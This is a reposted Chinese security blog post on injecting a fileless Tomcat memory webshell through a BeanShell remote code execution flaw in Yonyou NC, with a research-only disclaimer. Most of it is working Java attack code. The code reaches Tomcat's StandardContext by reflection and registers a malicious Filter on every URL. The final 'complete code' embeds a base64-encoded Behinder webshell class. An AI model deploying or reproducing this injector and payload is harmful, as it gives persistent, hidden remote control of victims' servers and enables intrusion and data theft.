项目遇到 用友NC
只存在 BeanShell
远程代码执行漏洞,写入 jsp
访问 404
,尝试通过 BeanShell
注入内存马,本篇文章主要记录过程中遇到的一些问题。
request对象
通过 java-object-searcher
获取 request
对象后,发现 Tomcat6
无法通过 request
对象获取 StandardContext
,仅能获取 Header
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;
try {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("http") && thread.getName().contains("Acceptor")) {
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread);
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("handler");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("processors");
field.setAccessible(true);
obj = field.get(obj);
java.util.ArrayList processors = (java.util.ArrayList) obj;
for (Object o : processors) {
try {
field = o.getClass().getDeclaredField("req");
field.setAccessible(true);
obj = field.get(o);
org.apache.coyote.Request request = (org.apache.coyote.Request) obj;
org.apache.coyote.Response resp = request.getResponse();
}catch (Exception e){
e.printStackTrace();
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}catch (Exception e){
e.printStackTrace();
}
StandardContext
查阅发现 bitterz
师傅的文章提供了 Tomcat
全版本获取 StandardContext
的思路。
tomcat678 currentThread -> threadGroup -> for(threads) ->target
->this$0->handler->proto->adapter->connector->service->container
->children(一个HashMap,get获取standardHost)->standardHost->children(一个HashMap,get获取standardContext)
测试发现文中代码从 HashMap
中获取 standardHost
时,key
键为 localhost
,通过 serverName
获取会导致远程访问时出现空指针,bitterz
师傅也曾在评论区留言提供解决思路。
通过以下修改将通过 serverName
获取修改为遍历 StandardHost
Iterator iterator2 = children.keySet().iterator();
while (iterator2.hasNext()) {
StandardHost standardHost = (StandardHost) children.get(iterator2.next());
field = standardHost.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
children = (HashMap) field.get(standardHost);
Iterator iterator3 = children.keySet().iterator();
while (iterator3.hasNext()){
String contextKey = (String) iterator3.next();
if (!(uri.startsWith(contextKey))){continue;}
StandardContext standardContext = (StandardContext) children.get(contextKey);
}
}
获取 StandardContext
后尝试注入 Filter
,在通过 defineClass
加载字节码时,发现由于 用友NC
自带 jdk为1.7.0_51
,没有 java.util.Base64
类,需要使用 sun.misc.BASE64Decoder
进行 Base64
解码。
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, clzBytecodeBase64Str);
} catch (Exception e) {
}
此时发现代码不能执行,一直抛出异常。调试发现 BeanShell
对于反射通过 bsh.Reflect
进行处理,可变参数必须按照参数类型传参,修改为如下代码。
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "";
byte[] bytecode = null;
try {
Class base64 = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
} catch (Exception e) {
}
注入filter
注入 filter
流程:通过 defineClass
加载恶意 filter
类后,使用 filterDef
封装 filter
对象,调用 StandardContext
的 addFilterDef
存到 FilterDefs
,创建 filterMap
对象后调用 StandardContext
的 addFilterMap
存到 FilterMaps
,使用 ApplicationFilterConfig
封装 filterDef
存到 filterConfigs
java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
defineClzMethod.setAccessible(true);
Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class});
setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{org.apache.catalina.deploy.FilterDef.class});
addFilterDef.invoke(standardContext, new Object[]{filterDef});
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class});
java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class});
setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
addURLPattern.invoke(filterMap, new Object[]{"/*"});
java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", new Class[]{org.apache.catalina.deploy.FilterMap.class});
addFilterMap.invoke(standardContext, new Object[]{filterMap});
java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
filterConfigsMap.put("TestFilter", filterConfig);
完整代码
冰蝎3.0 rebeyond
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
try {
Object object;
String serverName;
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("group");
field.setAccessible(true);
obj = field.get(obj);
field = obj.getClass().getDeclaredField("threads");
field.setAccessible(true);
obj = field.get(obj);
Thread[] threads = (Thread[]) obj;
for (Thread thread : threads) {
if (thread.getName().contains("exec") || thread == null) {
continue;
}
try {
field = thread.getClass().getDeclaredField("target");
field.setAccessible(true);
Object target = field.get(thread);
if (!(target instanceof Runnable)) {
continue;
}
try {
field = target.getClass().getDeclaredField("this$0");
field.setAccessible(true);
Object point = field.get(target);
field = point.getClass().getDeclaredField("handler");
field.setAccessible(true);
Object handler = field.get(point);
field = handler.getClass().getSuperclass().getDeclaredField("global");
field.setAccessible(true);
object = field.get(handler);
} catch (Exception e) {
continue;
}
if (object == null) {
continue;
}
field = object.getClass().getDeclaredField("processors");
field.setAccessible(true);
Object obj2 = field.get(object);
java.util.ArrayList processors = (java.util.ArrayList) obj2;
Iterator iterator = processors.iterator();
while (iterator.hasNext()) {
Object next = iterator.next();
field = next.getClass().getDeclaredField("req");
field.setAccessible(true);
Object req = field.get(next);
field = req.getClass().getDeclaredField("serverPort");
field.setAccessible(true);
Object serverPort = field.get(req);
if (serverPort.equals(-1)) {
continue;
}
field = req.getClass().getDeclaredField("serverNameMB");
field.setAccessible(true);
org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);
field = serverNameMB.getClass().getDeclaredField("strValue");
field.setAccessible(true);
serverName = (String) field.get(serverNameMB);
if (serverName == null) {
serverName = serverNameMB.toString();
}
if (serverName == null) {
serverName = serverNameMB.getString();
}
field = req.getClass().getDeclaredField("decodedUriMB");
field.setAccessible(true);
org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) field.get(req);
field = uriMB.getClass().getDeclaredField("strValue");
field.setAccessible(true);
String uri = (String) field.get(uriMB);
if (uri == null) {
uri = uriMB.toString();
}
if (uri == null) {
uri = uriMB.getString();
}
Thread[] threads2 = (Thread[]) obj;
for (Thread thread2 : threads2) {
if (thread2.getName().contains("http") && thread2.getName().contains("Acceptor")) {
try {
field = thread2.getClass().getDeclaredField("target");
field.setAccessible(true);
obj = field.get(thread2);
try {
field = obj.getClass().getDeclaredField("this$0");
field.setAccessible(true);
Object point = field.get(obj);
if (point == null) {
try {
field = obj.getClass().getDeclaredField("endpoint");
field.setAccessible(true);
obj = field.get(obj);
point = obj;
} catch (Exception e) {
}
}
field = point.getClass().getDeclaredField("handler");
field.setAccessible(true);
Object handler = field.get(point);
field = handler.getClass().getDeclaredField("proto");
field.setAccessible(true);
Object proto = field.get(handler);
Field f = proto.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adapter");
f.setAccessible(true);
Object adapter = f.get(proto);
field = adapter.getClass().getDeclaredField("connector");
field.setAccessible(true);
Object connector = field.get(adapter);
field = connector.getClass().getDeclaredField("service");
field.setAccessible(true);
Object service = field.get(connector);
StandardEngine engine = null;
try {
field = service.getClass().getDeclaredField("container");
field.setAccessible(true);
engine = (StandardEngine) field.get(service);
} catch (Exception e) {
}
if (engine == null) {
field = service.getClass().getDeclaredField("engine");
field.setAccessible(true);
engine = (StandardEngine) field.get(service);
}
field = engine.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
HashMap children = (HashMap) field.get(engine);
Iterator iterator2 = children.keySet().iterator();
while (iterator2.hasNext()) {
StandardHost standardHost = (StandardHost) children.get(iterator2.next());
field = standardHost.getClass().getSuperclass().getDeclaredField("children");
field.setAccessible(true);
children = (HashMap) field.get(standardHost);
Iterator iterator3 = children.keySet().iterator();
while (iterator3.hasNext()) {
String contextKey = (String) iterator3.next();
if (!(uri.startsWith(contextKey))) {
continue;
}
StandardContext standardContext = (StandardContext) children.get(contextKey);
standardContext = standardContext;
ClassLoader clzLoader = Thread.currentThread().getContextClassLoader();
String clzBytecodeBase64Str = "yv66vgAAADMAugoAJABYCABZCQArAFoHAFsKAAQAWAcAXAsABgBdCABeCgAEAF8IAGAIADsIAGELAGIAYwgAZAoAZQBmBwBnCgBoAGkKABAAagoAZQBrCABsCgAXAG0IAG4HAG8HAEIJAHAAcQoAFwByCgBzAHQHAHUKABwAWAsAdgB3CgB4AHkKABwAegoAZQB7CgAkAHwKABcAfQcAfgoAcAB/CgBzAIAKABcAgQoAJACCBwCDCwCEAIUHAIYHAIcBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MVGVzdEZpbHRlcjI7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEAC3BhZ2VDb250ZXh0AQATTGphdmEvdXRpbC9IYXNoTWFwOwEAB3Nlc3Npb24BACBMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAZtZXRob2QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADmV2aWxjbGFzc19ieXRlAQACW0IBAAlldmlsY2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAARyZXNwAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEABWNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAgwEACkV4Y2VwdGlvbnMHAIgHAIkBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEABmNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAApTb3VyY2VGaWxlAQAQVGVzdEZpbHRlcjIuamF2YQwALwAwAQAQZTQ1ZTMyOWZlYjVkOTI1YgwALQAuAQARamF2YS91dGlsL0hhc2hNYXABACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0DACKAIsBAAdyZXF1ZXN0DACMAI0BAAhyZXNwb25zZQEAAXUHAI4MAI8AkAEAA0FFUwcAkQwAkgCTAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwcAlAwAlQCWDAAvAJcMAFIAmAEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwAmQCaAQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MHAJsMAJwARAwAnQCeBwCfDACgAKEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyBwCiDACjAKQHAKUMAKYApwwAqACpDACqAKsMAKwArQwArgCvAQAQamF2YS9sYW5nL09iamVjdAwAsACxDACyALMMALQAtQwAtgC3AQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAuAwANwC5AQALVGVzdEZpbHRlcjIBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAHmphdmF4L3NlcnZsZXQvU2VydmxldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAIcHV0VmFsdWUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYBABNqYXZheC9jcnlwdG8vQ2lwaGVyAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEAEGphdmEvbGFuZy9TdHJpbmcBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhACsAJAABACwAAQAAAC0ALgAAAAQAAQAvADAAAQAxAAAAPQACAAEAAAALKrcAASoSArUAA7EAAAACADIAAAAOAAMAAAANAAQACwAKAA8AMwAAAAwAAQAAAAsANAA1AAAAAQA2ADAAAQAxAAAAKwAAAAEAAAABsQAAAAIAMgAAAAYAAQAAABIAMwAAAAwAAQAAAAEANAA1AAAAAQA3ADgAAgAxAAAB0gAGAAsAAADfuwAEWbcABToEK8AABrkABwEAOgUZBBIIK7YACVcZBBIKLLYACVcZBBILGQW2AAlXEgI6BhkFEgwZBrkADQMAEg64AA86BxkHBbsAEFkZBrYAERIOtwAStgATEhS4ABUSFga9ABdZAxMAGFNZBLIAGVNZBbIAGVO2ABo6CBkIBLYAGxkHuwAcWbcAHSu5AB4BALYAH7YAILYAIToJGQgqtgAitgAjBr0AJFkDGQlTWQQDuAAlU1kFGQm+uAAlU7YAJsAAFzoKGQq2ACcZBLYAKFenAAU6BC0rLLkAKgMAsQABAAAA0QDUACkAAwAyAAAASgASAAAAFwAJABgAFAAaAB0AGwAmABwAMAAdADQAHgA/AB8ARgAgAFoAIQB8ACIAggAjAJwAJADGACUA0QAoANQAJwDWACkA3gAqADMAAAB6AAwACQDIADkAOgAEABQAvQA7ADwABQA0AJ0ALQAuAAYARgCLAD0APgAHAHwAVQA/AEAACACcADUAQQBCAAkAxgALAEMARAAKANYAAABFAEYABAAAAN8ANAA1AAAAAADfAEcASAABAAAA3wBJAEoAAgAAAN8ASwBMAAMATQAAAAkAAvcA1AcATgEATwAAAAYAAgBQAFEAAQBSAFMAAgAxAAAANQAAAAIAAAABsQAAAAIAMgAAAAYAAQAAAC4AMwAAABYAAgAAAAEANAA1AAAAAAABAFQAVQABAE8AAAAEAAEAUAABAFYAAAACAFc=";
byte[] bytecode = null;
try {
Class base64Clz = clzLoader.loadClass("sun.misc.BASE64Decoder");
Object decoder = base64Clz.newInstance();
bytecode = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{clzBytecodeBase64Str});
String result = new String(bytecode);
} catch (Exception e) {
}
java.lang.reflect.Method defineClzMethod = clzLoader.loadClass("java.lang.ClassLoader").getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class});
defineClzMethod.setAccessible(true);
Class filterClass = (Class) defineClzMethod.invoke((Object) clzLoader, new Object[]{null, bytecode, 0, bytecode.length});
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName = filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName.invoke(filterDef, new Object[]{"TestFilter"});
java.lang.reflect.Method setFilterClass = filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class});
setFilterClass.invoke(filterDef, new Object[]{filterClass.getName()});
java.lang.reflect.Method addFilterDef = standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{org.apache.catalina.deploy.FilterDef.class});
addFilterDef.invoke(standardContext, new Object[]{filterDef});
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").getConstructor(new Class[]{}).newInstance(new Object[]{});
java.lang.reflect.Method setFilterName2 = filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class});
setFilterName2.invoke(filterMap, new Object[]{"TestFilter"});
java.lang.reflect.Method setDispatcher = filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class});
java.lang.reflect.Method addURLPattern = filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class});
setDispatcher.invoke(filterMap, new Object[]{"REQUEST"});
addURLPattern.invoke(filterMap, new Object[]{"/*"});
java.lang.reflect.Method addFilterMap = standardContext.getClass().getDeclaredMethod("addFilterMap", new Class[]{org.apache.catalina.deploy.FilterMap.class});
addFilterMap.invoke(standardContext, new Object[]{filterMap});
java.lang.reflect.Constructor filterConfigConstructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructor(new Class[]{Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef")});
filterConfigConstructor.setAccessible(true);
Object filterConfig = filterConfigConstructor.newInstance(new Object[]{standardContext, filterDef});
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
HashMap filterConfigsMap = (HashMap) filterConfigsField.get(standardContext);
filterConfigsMap.put("TestFilter", filterConfig);
}
}
} catch (Exception e) {}
} catch (Exception e) {}
}
}
}
} catch (Exception e) {continue;}
}
} catch (Exception e) {}
本文作者:fuzz7j
原文地址:https://fuzz7j.github.io/articles/BeanShell/
参考链接:
https://xz.aliyun.com/t/9914
https://github.com/c0ny1/java-object-searcher
原文始发于微信公众号(刨洞安全团队):BeanShell注入内存马
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论